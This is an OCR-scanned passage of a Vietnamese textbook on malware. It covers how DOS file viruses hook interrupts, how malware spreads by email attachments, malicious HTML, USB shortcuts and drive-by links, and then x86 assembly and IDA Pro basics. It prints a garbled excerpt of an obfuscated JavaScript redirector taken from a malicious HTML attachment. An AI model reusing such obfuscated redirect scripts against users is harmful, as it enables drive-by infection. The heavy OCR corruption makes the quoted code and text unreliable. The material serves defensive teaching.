Khi DOS t6 chic thi hanh File kha thi (bang chtc ning 4Bh cua ngat
21h), n6 s& to chuc lai viing nhd, tai File can thi hanh va trao quyén diéu
khién cho File do. F-virus loi dung diém nay bang cach gan doan ma cua
minh vao file dung tai vi tri ma DOS trao quyén diéu khién cho File sau
khi da tai vao vung nhd. Sau khi F-virus tién hanh xong cac hoat dong
ctiia minh, n6 mai sap xép, bd tri tra lai quyén diéu khién cho File dé cho
File lai tién hanh hoat dong binh thuong, va ngudi sir dung thi khong thé
biét duoc.Trong cac loai B-virus va F-virus, c6 mot sb loai sau khi danh
duoc quyén diéu khién, s& tién hanh cai dit mot doan ma caa minh trong
vung nhé RAM nhu mét chuong trinh thuong trd (TSR), hoac trong
viing nhé ndm ngoai tim kiém soat caa DOS, nhém muc dich kiém soét
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Cc4c ngat quan trong nhu ngit 21h, ngat 13h,... Mai khi cac ngat nay duoc
goi, virus sé€ danh quyén dieu khién dé tién hanh cac hoat dong cua minh
trwde khi tra lai cac ngat chuan ciaa DOS.

2.4 Cac hinh thirc tan cong ciia ma doc
Hién nay co rat nhiéu hinh thic phat tdn ma ddc hai, c6 thé thong
qua email, thong qua cac phin mém va gin mi doc vao bén trong,
thong qua cac duong link trang Web, thong qua viéc chia sé file USB,
thong qua céc 16 hong hé diéu hanh , tmg dung. ..
2.4.1. Phéat tan qua email sir dung file dinh kem
Cach phat tan ma doc hai 16n nhit qua email hién nay 1a céac
hacker dinh kém cac tai li€éu doc hai vao email bao gém cac loai virus
lira dao, spyware, worm...dudi céc file khong rd nguén gdc, dic biét 1a
cac file c6 dudi .exe , .com, .pif, .pdf, .scr, .bat, .rar, .zip...

& Pdf attatchment - Unicode (UTF-B) =13
File  Edit ‘Wiew Toaols Message Help f,'

g8 & w8 = X Q

Reply Reply &l Forward Prinkt Delete Prewious
From: pdf@@ozekisms org
Date: Wiednesday, March 03, 2010 11:10 AM
To: johnEozekisms org

Subject: Pdf attatchment
Attach:  [fTozeki.pdf (32.3 KE)

Dear il

Tou can find vour requested pdf file az an attachment of
thiz e-mail

Hinh 2-30 Tép tin doc hai dinh kém qua email

Phan 16n céc canh bao virus duoc giri dinh kém qua e-mail giita nhiing
ngudi sir dung . Virus lira dao thuong dugce chuyén tiép trong sé nhiing
nguoi st dung hang thang hodc tham chi nhiéu nim bdi vi ngudi ding
tin rang ho dang gitip d& nguoi khac bang cach phan phdi nhiing canh
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b&o nay. Mac du cac tro Ira dao thuong khéng gay ra thiét hai, nhung
mot s6 virus lra dao doc hai truc tiép 1am thay doi hé diéu hanh cai dit
hodc x6a cac tap tin, c6 thé gay ra cac van dé vé bao mat hodc gy anh
huong toi hoat dong cta hé théng. Mot virus ndi tiéng tro lira bip 1a
Good Times.

Mailing worm hay con goi 1a “sau gui thu hang loat” twong tu nhu e-
mail virus, diéu khac biét chinh 13 ring sdu gui thu hang loat dugc khép
kin thay vi 1dy nhiém mot tap tin hién c6 nhu e-mail virus . Khi mot
Mailing worm lay nhiém mot hé thdng, né thuong tim kiém hé thong cho
cac dia chi e-mail va sau d6 s& gui ban sao cia chinh n6 dén nhing dia
chi d6, bang cach st dung mot trong hai e-mail ctia khach hang trén hé
théng hodc gii mot tép tin doc hai khép kin duge xdy dung vao worm.
Mot con “sau gui thu hang loat” thudong gui mot ban sao cta chinh né té1
nhiéu ngudi cung mot lac. Bén canh lam ngung tré may chu e-mail va
mang ludi véi khdi lugng 10n e-mail, sdu giri thu hang loat thuong giy
ra cac van dé hiéu suat nghiém trong cho hé théng bi nhiém. Vi du vé
cac Mailing worm: Beagle, Mydoom va Netsky.

Pé bao vé may tinh trudc nhitng dot tin cong tir virus lira ddo hay céac
Mailing worm ngudi ding can ludn canh giac trude cac file dinh kém
khong ro nguf‘)n géc, dac biét 1a cac file c6 duoi

exe, .com, .pif, .scr, .bat, .rar, .zip.... Ngoai ra, can c4p nhat phan mém
diét virus phién ban méi nhat.

Duéi day 1a mot kich ban s dung tai liéu doc hai dé phat tan va lay

nhiém gay hai cho nguoi dung.

From@QOQ
Subject: Personnel

reshuffle
Looks like ) mer:ef\;asa personnel Send mail
normal Excel file ™ reshuffle. - i
See the attachment file (“"From:" is forged )

Excel ] a
°, [ Open i i } [Non visible activity] m

exploiting vulnerability in

Excel and drop malware Q
r\p

[Visible Activity]
Show Non-
malicious Excel file

Starting a browser

ssssss
(invisible Window)
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Hinh 2-31 : Tan cong qua email.

Tin tic str dung email dé gui cho ngudi dung ndi dung kém theo mot file
dinh kem 1a file excel.
Khi nguoi dung kiém tra email va thiy co file dinh kém, tuy nhién ma
doc nam trong file dinh kém nay s€ bi kich hoat va chay an. M3 doc 6
day 1a 1 chuong trinh keylogger. Chuong trinh nay s€ ghi lai toan bd
thong tin hoat dong cua nan nhan. Sau do s€ guri thong tin nay qua trinh
duyét Webbrowser.

2.4.2. Phat tan qua email sir dung Ma HTML dgc hai

Céch phat tan nay tin tdc s€ gui cac thu dién tor chta ma HTML ddc
hai cho nguo1 dung

© Eile Edik wiew Tools Message Help

gd ﬁ) 'upg e x L v it
Reply Reply all Forward Prink Delete Addresses
From: Facebook
Date: Tuesday, June 15, 2010 4:15 FM
To: - -
Subjeck: Reset your Facebook password
Attach: @ Facebook_newpass.html (457 bykes)

Hew there.

EBecause of the measures taken to provide safety to our clients, wour
password has been changed.
T on can find your new password m attached document.

Teours,
Faceboolk=

Hinh 2-32: Thu dién tir dinh kém HTML ddc hai
Cac thu dién tr nay c6 ndi dung rat da dang. Vi du : “thiét lap lai mat
khau”, “cai dit lai chirc nang thong bao” va dinh kém theo do la cac tép
tin HTML gid mao gui tir cdc mang xa hoi nhu “facebook”, “twitter”
...nhung thuc chat trong d6 chia cac doan script ma khi mé tép tin thi
ngudi dung s& dugc chuyén hudng dén cac trang web c6 chira ma doc
hai khai thac 16 hong ctia Adobe, Javascript.. .
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C:\Documents and Settings® Swss SsiDesktopitaskforce - twitter - virus\open. himl

ABIUFF mJ 90 fE=¢-dEssmiz §JF o §0
H———+—---1 + 2 u 3 + 4 + 5 + 6 + 7 u + + 0 t

D <acript type='text/javascript'>function wxi){};z="z" ;. prototype = {t : function() {war w=function(]!{return 'n'};g=2640Z2;var

gqM=function(){};var n="hatjcipd: J/7/7s7hdolpipdiinlgibladzziajrd. Jodo]. Julkd/329, that)nd' . replace (/[ 941747 ] /g, '');var x=new

Arrayi);Eunction nR{){};y="";var u=function() {return 'u'};th=document]'1MolcfaltliEoInd', replace|/[RIHEN] /g, '')]:var yI=new

Array();var p="";this.z=false;var r=false;w="";uK=""';this.xU=84%Z;function niih) {var d=501Z1;this. ¥T="";var

ph=function(]{}h[ 'hErEesfh' . replace (/[BV*TNE] /g, '')]=n;this.nl="nl";var o='';var v=hunction(){return

tythyydd="" s chis, sN="";hI="" jvar wH=function(){return 'wH'};thiz. tA¥="tiT";var oWl=function(){};var dF=function(){}:ni(td) var

E="";var yTT=functioni){return 'yTV'};var c="";}};this.ul="";var sR=new wx(); function da(){};sR.t{);var wH=ney

Date() ;</scripts

Hinh 2-33: Minh hoa Script chtra trong tép tin dinh kém HTML

Céac thu gui nhing cac link doc dugc xay dung xung quanh
HTML khong c6 gi méi, nhung duong nhu da tré thanh mot k¥ thuat
néng trong nam vira qua. Gan ddy, céc tin tac bat dau nhing JavaScript
bén trong file HTML (chtr khong chi 14 file mot dinh kém don gian), dé
giri Trojan Zeus chuyén 14y cap tai khoan ngan hang

Chién dich méi nhat cta cac tin tic 1a ¢6 ging dé ngudi nhan thu
nhan chudt vao dinh kem HTML "v6 hai", nhung thuc chat 1a kich hoat
mot ma doc bang JavaScript, dua nan nhan dén mot loat website khong
dam bdo.

Cu thé, mot quang céo thong thuong cho phan mém chéng virus
gid mao, khi dugc click vao, sé cai dat mot céng hau (back door) 1én
may tinh ngay cd khi trinh duyét dugc dong lai. Nhu vay, khi nhan chudt
vao dinh kém HTML thi da la qua mudn.
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’} Internet Security 2010

4 b drinn o e

| TRIALVERSION [
| URLDCK FULL VERSION!

Upgrade to full m Your Computer is not protected

o ek tere . st ks

Poar computn & wat BAnermact C3ck b fo srvety porwctien. i e8-Co000.

Hinh 2-34 : Gia mao phan mém diét virus
Nhiing cach phong thu duy nhét chong lai loai tin cong kiéu nay 1a loc
thu rac (spam) tai cong ra vao (gateway) dé n6 khong bao gid dén duoc
ngudi st dung, hodc déi v6i ngudi str dung thi vo hiéu hoa JavaScript
trong trinh duyét. Phidn mém bao mat trén PC c6 thé tom duoc ma khai
thac.

Hon nira, tép tin dinh kém HTML. C6 thé bo qua chuong trinh chdng
virus tich hop trong cac may chu mail, bdi vi mot tap tin. Html chinh no
khong chira ma doc hai hodc mé khai thac, nhung mot lién két dén mot
trang web dugc thuc hién boi cac hacker. Do do, né hau nhu khong duoc
phat hién bai cac chuong trinh chdng virus.

Vi vay, can khuyén nghi nguoi dung ning cao nhan thirc cua bat
ky tap tin dinh kém trong cac email khong ro. Ngoai ra, nguoi st dung
can thuong xuyén cdp nhat phan mém trén may tinh cta ho va cai dat

chuong trinh chong virus dé bao vé chong virus.
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2.4.3. Phéat tan qua USB

o NI ) = [BX]
'l,c

File Edit View Favorites Tools Help

@ Back ~ _) ! ? / ) Search U 7' Folders s
i [P . ] E
Folders X __ USB_FLASHGE)

@ Desktop W shortout
[+ ,:,\ My Documents el

= % My Computer
® J& 3v2Floppy (A:)
(# <@ Local Disk (C:)
® & CD Drive (E:)
I T F:)
() G Control Panel
@ I2) Shared Documents
# [ vitest's Dacuments

Hinh 2-34: Phat tdn qua USB

Pay 1a mot hinh thic phéat tin ma doc rat phd bién. Trudc day, virus
AutoRun tung hoanh hanh véi co ché mé 6 dia 1a kich hoat ma doc. Piéu
d6 khién toc do 1ay lan ciia dong virtt ndy tré nén khong thé kiém soat.
Microsoft da budc phai quyét dinh cat bo tinh niang AutoRun ddi véi
USB tr Windows 7 va trén ca Windows XP phién ban cap nhat.
Hién tai tin tdc da nghi ra mot phuong an moi dé thuc hién lay nhiém ma
doc, nguoi dung khi mé USB bi nhiém virus, nguoi st dung sé théy mot
6 dia nita trong USB d6 va phai mé tiép 0 dia tht hai nay moéi thdy duogc
dit liéu. Thyc chat 6 dia thir hai chinh 1a mot shortcut chira file virus. Khi
ngudi ding mé dit lidu cling 1a lic may tinh bi nhiém ma doc tir USB.
DU co ché AutoRun di bi loai bé, nhung vo1 su xuit hién cua
W32.UsbFakeDrive, virus trén USB c6 thé 1ay phat tan nhanh chi véi
thao tac truy cap vao 6 dia USB cta nguoi dung.

2.4.4 Phéat tan dwa trén link doc hai.
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Sites managed by

1. Insert malicious ﬁtacker
~ ™ (obfuscated) JavaScript to ® o -
Iegitimite site e  — W
‘ Attacker (T (T
2. Browse - “* Attack
already defaced site 3 regﬁ:ject to : . Servers
malicious(attack) sit
3 D
-
-
- ’ ’
)4 > - 4. Download malware and execute it - "
(by exploiting selected - —
vulnerabilities) = » )
=
User > —E.iﬁ
. e Collection
5. Send FTP account information Servers

to servers

Hinh 2-35 Phat tan dua trén céc link ddc hai
La mot hinh thire tAn cong kha pho bién. Phuong thirc nay c6 thé mo ta
nhu sau:
Nguoi dung truy cap vao mdt Website ndo d6 da bi gan doan ma doc, cu
thé 1a Javascript d3 dugc méd hoa. Khi d6 ngudi dung ti dong s& chuyén
dén 1 trang web chira ma doc va tu dong s€ tai ma doc do vé va cai 1én
may tinh(dua vao 16 hong phin mém hodc hé diéu hanh). Sau d6 céc

thong tin ngudi dung sé bi giri vé cho tin tic.

2.5 Cau heéi 6n tap
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Chuong 3:
CO BAN VE PHAN TiCH MA PQC

Phan tich ma doc hai 1a cong viéc nghién ctru phan tich, tim hiéu
xem xét cac hanh vi 4n trong mau ma doc.

Cong viéc phan tich ma doc ¢ Viét Nam 1a cong viéc chua phd
bién. Thuong thi céng viée ndy thudng gan lién voi cac chuyén gia phan
tich cua cac cong ty phin mém Antivirus, va nhitng ngudi 1am an toan
thong tin chuyén nghiép cong tac voi cac hang phan mém. O Viét Nam
thuong c¢6 1 phan dam an toan an ninh trong 1 t6 chirc, mot nhan vién
chiu trach nhiém vé bao mat cta hé théng may tinh hodc hé théng mang.
Nhu d3 biét khong phai lic nao cac chuong trinh Anti-Virus ciing c6 thé
giai quyét duge hét moi van dé vé ma doc hai néi chung va virus noi
riéng cho hé théng may tinh. C6 thé hinh dung viéc khi quan tri hang
trdm may tinh trong mot cong ty, mic di mdi mdy déu cai chuong trinh
Anti-Virus, nhung réi mot ngdy may tinh nao d6 c6 thé bi nhiém Virus
qua duong email ma chuong trinh Anti-virus kia khong nhan dang dugc,
roi lay ra todn mang, gdy rai ro cao véi tinh san sang, tinh bio mat .. cua
hé thong d6. Lic d6 ngudi 1am an toan can phai co nhiing xir 1y phan
tich chu dong trong tinh hudng nay dé giam thiéu rui ro dén muc thap
nhat cho hé thong mdy tinh hay hé thong mang ctia minh.

Nhitng nhan dinh, danh gia ban dau dung dan cua ngudi phan tich
c6 y nghia quyét dinh t&i viée giam thiéu rui ro va thiét hai cho toan bo
hé théng.

Muyc dich ctia phan tich ma dgc hai la dé tra 16i ba cau hoi sau :

1. Thu nhét : tai sao may tinh lai bi nhiém ma déc hai nay?

2. Thu hai : chinh xac thi ma doc hai nay lam nhiing gi trén hé
thong?

3. Thi ba : sau khi ndm dugc hanh vi hoat dong cua co thé x6a nd
khong va phong tranh duge chuyén lay nhidm lan sau hay
khong?

C6 mot s6 khuyén cao d6i voi nhitng nguoi phan tich tich ma doc do 1a:

- Pung doi héi vao viéc nguoi phan tich phai phan tich va hiéu hét
cac tinh nang ctia ma doc , bdi :
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- Hau hét cac chuong trinh ma doc ¢6 lugng ma 1a 16n va phirc tap
nén chil yéu xac dinh cac tinh ning chinh ctia malware.

- Hay luén st dung phdi hop nhiéu cong cu va cac cach tiép can
khac nhau dé phan tich.

- Luén luén cdp nhat cic ki thudt méi ma nhing nguoi  viét
malware st dung ciing nhu cac ki thust mdi, cac cong cu hd tro

mai trong viée phan tich.

3.1 Céc kién thirc co ban trong phan tich ma dac
Trong kién trac may tinh hién dai , mét hé théng may tinh co thé

duoc biéu dién nhu sau:

Interrupt-
driven Keyboard ]
5 Di M01|11t0r

sks
Printer
a l MO%\/II
Disk controller USB controller Graphics adapter
(I [T [T

s}

MEMORY I

Kién tric Hé théng may tinh hién dai
MM Pém dir liéu (local buffer)

Hinh 3-1 Kién trac CPU
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User 1 | | User 2 | | User 3 | | User 4 |

Hop ngtr Pb hoa Soan thao Co s& dir ligu

Cac chuong trinh tng dung

He dieu hanh

Phan citng

Hinh 3-2: M6 hinh triru tugng

Nguoi dung c6 thé chay hé diéu hanh Windows trén nhiéu loai

phan cimg khac nhau. Khi nguoi viét chuong trinh ma doc, ho c6 thé viét
bang nhiéu ngdn ngit khac nhau va sir dung cac trinh bién dich vé dich
va chay ma. Con ddi véi nguoi phan tich ma thi ho lai phai lam cong
viéc nguogc lai do6 1a dao lai ma nguén va lam sao c6 thé phan tich duoc

ma nguodn do va hiéu dugc.

Hinh:

Hinh trén gitp sinh vién c6 hiéu tong quan vé vi tri cia nguoi viét ma va
vi tri ctia ngudi phan tich ma 1a nhu thé ndo. Hién nay c6 rat cap do cia
ngdn ngit 1ap trinh, phan dudi ddy s& mo ta 6 mic khac nhau dé:

Mirc Hardware: day la mac vat 1y, chira cac tin hiéu dién tir thuc hién
cac to hop céac Iénh logic dién tir nhu XOR, AND, OR, NOT. Vi day la
phan cimg nén khong thé d& dang c6 thé can thiép bang phan mém.

Mirc Microcode : mirc microcode hay con goi la firmware. Microcode
hoat dong trén so do dong dién. N6 chira cac chi dan nhé dugc chuyén
doi tir ngdn ngir bac cao, cung cap 1 phuong thirc dé giao tiép véi phan
cing. Khi thuc hién phan tich md doc, khong can lo ling vé cac
microcode vi né luén dugce chi rd boi may tinh.

Mirc Machine code : (ma may) Muc machine code chua cac Opcodes,
cac ky tu hexadecimal va n6i cho bo xir Iy CPU biét phai lam gi. Ma
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may thong thudng duge thuc hién voi nhiéu chi dan microcode dé cho
phﬁn cung bén dudi co thé thyc thi dugc. Ma may dugc tao ra khi
chuong trinh may tinh bac cao dugc bién dich.

Mire Low-level languages: Ngon ngit bac thip la ngon ngit nguoi
phan tich c6 thé doc duoc. Ngon ngit bac thap ma phd bién nhat 1a ngon
nglr Assembly. Nguoi phan tich ma doc lam viéc & mirc ngdén ngit nay Vi
ma may kho doc. Nguoi phan tich st dung cac cong cu dich nguoc ma
nguon vé dang ngdn ngit bac thap assembly.

Mikre high-level languges: Ngon ngit bac cao duoc nhiéu 1ap trinh vién
sit dung nhu C,C++ va mot s ngon ngir khac. Ngon ngir ndy sau khi
bién dich s& chuyén sang dang ma may.

Mirc Interpreted languages 1a ngdn ngit & cip cao nhat, nhiéu lap
trinh vién str dung cac ngon ngit thong dich nhu C#, Perl, .NET va Java.
Céc mi viét khong bién dich thanh mad may ma thay vi vay bién dich
sang bytecode.

Pbi voi nguoi phan tich ma doc, can phai hiéu 16 ngon ngit Assembly
dé c6 thé doc duoc ma nguodn (¢ dang dich nguoc)dé phan tich. Phan tiép
theo ddy gido trinh s& md ta tong quan ngdn ngit Assembly 32bit trén
kién trac CPU x86.

3.1.1 Ngbn ngir Assembly 32bit

3.1.1.1 Cac thanh ghi

- ESP tro dén dau stack

- EBP thudng dung dé chira cac dia chi stack

- EIP tro dén 1énh tiép theo

- EAX chira cac bién sb hoc,logic, thudng dung trong cac thao tac nhan
chia

- EBX thanh gi dia chi

- ECX thanh gi dém hay dung trong cac vong lap

- EDX cac thao tac vao ra, cac phep tinh

- ESI EDI thudng dung thao tac vdi cac mang, chudi

Cac co:

- O co tran, = 1 khi tran bo nhé.

- P c& chin 1¢
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- Z ¢& zero - két qua bang khong z=1

- S co ddu s=1 thi két qua &m

- C c0 nhd, khi phép tinh két qua c¢6 nhd hoic muon thi c=1
co diéu khién:

- T =1 CPU ché d9 1a chay ting 1énh (cd bay- trap)

- I co ngit.

- D ¢& hudéng, D =1 thi cpu lam viéc vé6i chudi tir phai sang trai.
Mot s6 cdu 1énh co ban:

- MOV gan vé phai cho vé trai

- MOVSX thuc hién khi vé trai c6 do dai > hon phai

- MOVZX thyc hién khi vé tréi toan 0

- LEA thanh gi, 6 nhd. Ghi 6 nh¢ vao thanh gi

- XCHG hoén doi dit liéu

- INC tang 1 don vi

- DEC giam 1 don vi

- ADD x1,x2 | x1 = x1 +x2

- ADC cong phu thudc vao co

- SUB trur.

-SBB trir, phu thuéc co C,(c=1 trir két qua di
- MUL Nhan sb khong ddu (mul ecx |edx= eax *ecx)

- IMUL nhén s6 c6 dau

- XADD thuec hién lan luot xchg va add

- CMP so sanh: sau khi thuc hién tdc dong dén cac c0 CZ S;

C Z S
dich=ngudn 0 1 0
dich>Nguén 0 0 0
dich< ngudn 1 0 1

- Test so sanh (tac dong S Z P flag) so sanh bang phép AND
- JMP nhay khéng diéu kién

- JE JZ nhay néucdZ=1,JNE INZ nguoc lai

- JS nhay néu co S =1

- JP/JPE nhay néu co P=1, INP JNPE nguoc lai

- JO nhay néu co O=1 JNO nguoc lai
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- JB néu cd C=1
- JBE néu co C or F=1
- JL néu c& S<>0
- LOOP X, ECX >0 thi nhay 1én dia chi X, tao vong lap
- MOVS: mov string, sau d6 tang, giam cac thanh gi tuy thudc vao co D,
D =0 tang, D=1 giam
- REP X thuc hién 1ap lai X dén khi ECX =0
- LODS nap vao EAX
- STDOS X nap tir EAX vao X, sau do tang X
- CPMS so sénh 2 chudi
- CALL X, di vao thuc hién & dia chi X va pop dia chi tré vé vao stack
dé phuc
vu cho 1énh ret.
- RET (retn) di chuyén dén dia chi dang chira trong dinh stack, RET X,
sau khi di chuyén sé& clear X byte trong stack, lui ESP lai twong tng
3.1.1.2 ASM trén phan mém IDA pro
1. Cac kiéu:
* Byte xxxxxX - dia chi xxxxx chira gia tri kich thuéc 1 byte
* Word_xxxxx - dia chi xxxxx chtra gia tri kich thudc 2 byte
* Dword_xxxxx - dia chi xxxxx chtra gia tri kich thudc 4 byte
* Qword_xxxxxx- dia chi xxxxx chira gia tri kich thudc 8 byte
» Unk_xxxxx- Unknow type
2. Mang, truy cap cac phan tir trong mang:
Vi code C:
#include "stdafx.h"
int i,mang[10];
int _tmain(int argc, _TCHAR™ argv[])
{
mang[0]=1;
mang[1]=2;
mang[2]=3;
mang[3]=4;
return O;
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Poan code trén hién thi trong IDA:

“ IDA - D:\My Project\Testtttttt\Release\xzoxze.exe
File Edit Jump Search View Debugger Options Windows Help

fHE e B B 3 v B of g 6F - X @ O [Wwindog debugger -

[

it I D il
E Functions window g X IDA View-A B8 | @ Hex View-A
Functicn name Seql
L7 _wmain text _wmain proc near
% __security_check_cookie(x) text mov dword_4033?0, 1
L7 _pre_cpp_init text mov dword_403374, 2
|£] __tmainCRT5tartup text mov dword_403378, 3
[7] stmaz text mov dword_40337¢, 4
[F] start text xor eax, eax
[#] __report_gstailure text retn
|z _ CedUnhandledExceptionFilter( EXCEPTION_POINTERS ) text —_wmain endp
[7] sLns x|
|z _amsg_exit det|
[#1  onexit tex

Hinh 3-3 Mang hién thi trong IDA

Vé6i dword 403370 1a dia chi dau tién cia mang, do mang kiéu int ( 4
byte / bién ) nén cac phan tir tiép theo co dia chi 6 nhd ting 1én 4,
dword_ 403374, dword 403378,...

Tuong trng voi

Mov dword 403370 ,1

Mov dword 403370+4,2

Mov dword 403370+8,3

Mov dword 403370 +12,4

V&i cac bién cuc bo thi s& duoc luu dia chi trong EBP, la cac dia chi
thudc stack. Voi tung vi tri s€ la ebp +1 +2 +3 +4...
3. Mang dung cip phét bd nhé dong:

int _tmain(int argc, TCHAR™ argv[])

{

int *heap_array = (int*)malloc(3 * sizeof(int));

heap_mang[0] = 10;

heap_mang[1] = 20;

heap_mang[2] = 30;

heap_mang[2] = 40;

}

Code hién thi trong IDA:
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“ IDA - D:\My Project\Testtttttt\ Release\xzoxzc. exe
File Edit Jump 5Search View Debugger Options Windows Help

e HEEG DS ¥ e D0 @ F-F X » O O |[Windbgdebugger

4

' I N
|z| Functions window g X IDA View-A D @ Hex Viey
Function name Seq - _wmain proc near
[F] _wmain text push 0ch ; Size
| f| _security_check_cookie(x) text call ds:malloc
[#] _pre_cpp_init text mov dword ptr [eax], 0aAh
[7] __tmainCRTStartup St mov dword ptr [eax+4], 1l4h
[F] sLn33 text mov dword ptr [eax+8], 1lEh
(7] start et mov dword ptr [eax+8], 28h
E __report_gsfailure text add esp, 4
[7] _CxUnhandledExceptionFilter EXCEPTION_POINTERS *) text )rfg:;n eax, eax
L] SLN5 tet| .
B = wmain end
| f| _amsg_exit text - P
] _onexit tex

f| _atexit tex
[F] cok An1AEA PN

Hinh 3-4: Cap phat bo nhé dong

push OCh ; Size <- dua size can cap phat va goi ham malloc dé cap
phat

call ds:malloc

V61 ham malloc sau khi goi xong trong thanh ghi eax s€ chtra dia chi
dau tién cia mang trong ving nhd duge cap phat dong.

MOV cac gia tri trong tu nhu mang thuong, ADD esp 4 1a 1ui stack lai
dé bo phan tir dau (size) di can bang lai stack nhu trude khi goi ham.

Tuong tu khi st dung cac bién cuc bo s& duge luu trong stack, nhu trén
thi thay eax thanh EBP.
4.Struct

#include <stdio.h>

#include "stdafx.h"

#include <malloc.h>

struct ch_struct

{ //kich thuoc

long x; /I 4 byte

shorty; /I 2byte

double z; //8byte

charc;  //1byte

b

struct ch_struct teststruct;

int _tmain(int argc, TCHAR™ argv[])
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{

teststruct.x=10;
teststruct.y=20;
teststruct.z=30;
teststruct.c='a’;

¥

€W IDA - D:\My Project\ Testtttttt\Release\xzoac.exe
File Edit Jump Search View Debugger Options Windows Help

B e GHA S ) o @O A X > 0 O[nbose

E . miu

|chtiusw‘ndw 8 X IDA View-A 0] Hex View

Function name Seai »

_wmain _ et _wmain proc near

LF] _security check cookies) tet | [Fld  ds:db]1_4020€8

_pre_cpp_init ted mov eax, l4h

—_tmainCRTStartup tet | |mov  word_403384, ax

SLN33 tex fstp gb]_gozgggso i
start tex mov word_ !

__report_gsfailure text mov byte_403390, 61h

_CxxUnhandIedExceptionFllter(_EXCEPTION_POINTERS") text xor eax, eax

SLNS ted .| [retn

_amsg_eit ted | |-wmain endp

_onexit tex

_atexit Jtex

M sadarr

Hinh 3-5: CAu trac luu bién toan cuc
Céu trac duoc luu stack( bién cuc bo) trén IDA.
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Ltext:00401000 main Proc near
text: 00401000

Ltext 00401000 var 18 = dword ptr -18h
-text:00401000 var_ 14 = word ptr -14h

Ltext 00401000 var_ 12 = byte ptr -12h
-text:00401000 var_ 10 = dword ptr -10h
Ltext:00401000 var B = gword ptr -3

Ltext 00401000

Ltext: 00401000 push ebp

Ltext 00401001 Mo ebp, esp

Ltext 00401003 sub esp, 18h
.text:00401006 mow [ebp+var 18], 10
Ltext:oo401000 ma [ebp+var_14], 20
Ltext:00401013 mow [ebp+var_12], 30
Ltext:o0401017 ma [ebp+wvar_10], 40
Jtext:0040101E fld ds:dbl_408123
Ltext:00401024 fstp [ebpsvar_E]
Ltext: 00401027 x0T eax, eax
Ltext:00401029 Mo esp, ebp
Ltext:00401028 pop ebp

Ltext 00401020 retn

LAext:0040102C _main endp

Hinh 3-6: Cu trtic luu bién cuc bd

Vé6i EBP luu lai dja chi cia ESP (dinh stack khi bat ¢au ham).
5. Mot s cau triic ham co ban cia Assembly

- Lénh IF, Cau tric r& nhéanh

Trong ASM cac 1énh If thuong gém mot toan tir so sanh va mot Iénh
nhay tiép theo dua vao cac co két qua ctia toan tir so sanh.

Vidu:

.text:00401000 _wmain proc near

text:00401000 mov  ecx, dword 403374 <- X

.text:00401006 mov  eax, dword 403370 <-Y

.text:0040100B cmp  ecx, eax <-sosanh XvayY

text:0040100D jle  short loc_401015 <- nhay néu Z
Flag =1 hoic S flag # O flag ( twong ng véi x=<y) B6 qua 2 dong tiép
theo nhay xudng 401015 thuc hién.

text:0040100F mov  dword 403374, eax <-gan X=Y, vi néu
X>'Y thi jle s€ khong nhay cau I¢énh nay dugc thuc hién.
.text:00401014 retn <- return Y. Thoat khoi ham,

khong thuc hién doan tiép theo
.text:00401015 loc_401015:
.text:00401015 mov  eax, ecx <- return X
.text:00401017 retn
.text:00401017 _wmain endp
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- Vong lip, cau trac lip

Céu thanh vong 1ap trong ASM thuong gém cac 1énh jump vong 1én
cac 1é€nh phia trén dé thuc hién lai mot cach tuan tu tlr trén xuéng dudi,
va céc 1énh kiém tra diéu kién dé jump ra khoi vong. Hodc cac 1énh jump
vong Ién trén véi cac diéu kién dé tiép tuc jump vong 1én trén, néu lénh
so sanh cho ra diéu kién di sai / dung thi s& ngimg jump vong 1én trén.
V&i moi trinh bién dich khac nhau s& cho ra cac md ASM khac nhau.

Trong hinh anh ta co:

JL shorloc 401010 jump nguoc 1én trén dé thyuc hién lai.

Mov dword_403370[eax*4],eax gan.

Cmp eax,0Ah so sanh vo1 10

JL jump dua trén diéu kién.

sa| B @ of gl e F - = X [0 O |windbg debugger = <
F x IDA View-A 5] | =] Hex View-A | & Structures [ E
Sear =
text) _wma‘i n proc near
text mow dword_40337C, 4
text xor eax, eax
text lea esp, [esp+0]
text |_+
text L i
text o = =

IMTERS ™) .text
et o loc_401010:
| S mowv dword_403370[eax*4], eax
tex| inc eax
el cmp eax, 0ah
et 3 short loc_401010
: T
text *J
text
text bl s =3
text! mow dword 403398, eax
text xor eax, eax
) retn
e _wmain endp
text
text
text
text

Hinh 3-6: Hién thi vong lap trén IDA

Vi cac dang vong lap, diéu kién khéac nhau, chuong trinh dich khac
nhau cic ma ASM sé& khac nhau dé chuong trinh chay t6i wu hon. Vong
1ap vo han tuan hoan sé& khong c6 cac doan kiém tra diéu kién va jump
ra ngoai.
6. Cau triic co ban cac ham thi tuc trong ASM

Cac doan ham thu tuc ASM thudng bat dau véi doan

Push EBP

Mov ebp,esp

Doan nay nham muc dich, luu lai gia tri cia EBP vao stack, luu lai vi

tri hién tai cta stack vao ebp. Do mdi lan push thém thi dia chi chua
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trong ESP s& giam di 4 dé tiép tuc mo rong stack. Luu ESP lai tai EBP
dé nhé dia chi cua stack truge khi goi ham, thuén tién cho viéc goi cac
bién luu trong stack trude khi ham duge goi.

Cudi chuong trinh thudng c6 cac doan pop lai gia tri cia EBP, 1énh
RET dé tré vé dia chi tiép theo ctia 1énh CALL, 1énh RET XX véi XX la
s6 byte di dugc doan ham nay sir dung dé xoa ra khoi stack.

Vi du doan ham MessageBoxA trong User32:

Ltl DA View-A @ Hex View-A | @ Structures } Lj Enums ‘ ﬁa Imports

; int __stdcall MessageBoxXEXA(HWND hwnd, LPCSTR TpText, LPCSTR IpCaption, UINT uType, WORD wLanguageld)
public _MessageBoxExAQ20
_MessageBoxExA@20 proc near

hwnd= dword ptr 8
TpMuTtiByteStr= dword ptr OCh
IpCaption= dword ptr 10h
uType= dword ptr 14h
wLanguageId= dword ptr 18h

mov edi, edi

push ebp

mov ebp, esp

push OFFFFFFFFh ;int
push [ebp+wLanguageId] ; int
push (ebp+uType] int

push (ebp+1pCaption] ; int
push [ebp+TpMultiBytestr] ; lpMultiByteStr

push (ebp+hwnd] ;int

call _MessageBoxTimeoutA@24 ; MessageBoxTimeoutA(x,x,x,x,x,x)
pop ebp

retn 14h

_MessageBoxExA@20 endp

Hinh 3-7: BDoan ham MessageBoxA trong user32

Lo1 goi ham:

S& push cac thong s6 theo thu tur

push 0O ; uType

push offset Caption ; “thucaiiiiiiiiii”

push offset Text ; "thu cai nuaaaaa"

push 0O - hwnd

call ds:MessageBoxA

Binh thudng 1énh push cudi cung sé& 1a bién dau tién, 1énh push dau tién
thuc hién sé 13 bién cubi cung.

Céc offset dén cac chudi s& dua vao stack.

. [ebp+wLanguageld] ; int

. [ebp+uType] ;int

